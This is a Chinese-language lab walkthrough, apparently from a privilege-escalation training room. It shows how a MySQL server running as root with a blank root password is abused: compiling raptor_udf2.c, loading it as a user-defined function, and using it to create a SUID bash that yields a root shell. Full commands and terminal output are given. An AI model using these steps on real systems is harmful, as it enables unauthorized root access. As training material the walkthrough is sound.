mysql UDF提权

拿到普通user权限，sudo一下，再看下进程

user@debian:~$ ps -aux | grep sql
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
root      1906  0.0  0.1   9180  1396 ?        S    00:56   0:00 /bin/sh /usr/bin/mysqld_safe
root      2031  0.0  2.3 163420 24120 ?        Sl   00:56   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
root      2032  0.0  0.0   3896   644 ?        S    00:56   0:00 logger -t mysqld -p daemon.error
user      2638  0.0  0.0   7588   856 pts/0    S+   01:15   0:00 grep sql
user@debian:~$

这里有个 MySQL 服务以 root 身份运行，并且该服务的“root”用户没有分配密码。

我们可以使用一个 流行的漏洞利用 ，它利用用户定义函数 (UDF) 通过 MySQL 服务以 root 身份运行系统命令。

切换到 /home/user/tools/mysql-udf 目录：

使用以下命令编译 raptor_udf2.c 漏洞利用代码：

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

以 root 用户身份使用空白密码连接到 MySQL 服务：

mysql -u root

在 MySQL shell 上执行以下命令以使用我们编译的漏洞创建用户定义函数 (UDF)“do_system”：

use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';

使用函数将/bin/bash复制到/tmp/rootbash并设置SUID权限：

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

退出 MySQL shell（键入 exit 或 \q 并按 Enter ）并使用 -p 运行 /tmp/rootbash 可执行文件以获得以 root 权限运行的 shell：

/tmp/rootbash -p

运行结果

user@debian:~$ ps -aux | grep sql
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
root      1906  0.0  0.1   9180  1396 ?        S    00:56   0:00 /bin/sh /usr/bin/mysqld_safe
root      2031  0.0  2.3 163420 24120 ?        Sl   00:56   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
root      2032  0.0  0.0   3896   644 ?        S    00:56   0:00 logger -t mysqld -p daemon.error
user      2638  0.0  0.0   7588   856 pts/0    S+   01:15   0:00 grep sql


user@debian:~$ cd /home/user/tools/mysql-udf
user@debian:~/tools/mysql-udf$ gcc -g -c raptor_udf2.c -fPIC
user@debian:~/tools/mysql-udf$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
user@debian:~/tools/mysql-udf$ mysql -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 35
Server version: 5.1.73-1+deb6u1 (Debian)

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.00 sec)

mysql> insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
Query OK, 1 row affected (0.00 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.00 sec)

mysql> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
+------------------------------------------------------------------+
| do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash') |
+------------------------------------------------------------------+
|                                                                0 |
+------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> exit
Bye
user@debian:~/tools/mysql-udf$ /tmp/rootbash -p
rootbash-4.1# rm /tmp/rootbash
rootbash-4.1# whoami
root

请记住，在继续之前删除 /tmp/rootbash 可执行文件，并退出 root shell；因为稍后还将在房间中再次创建此文件！

rm /tmp/rootbash
exit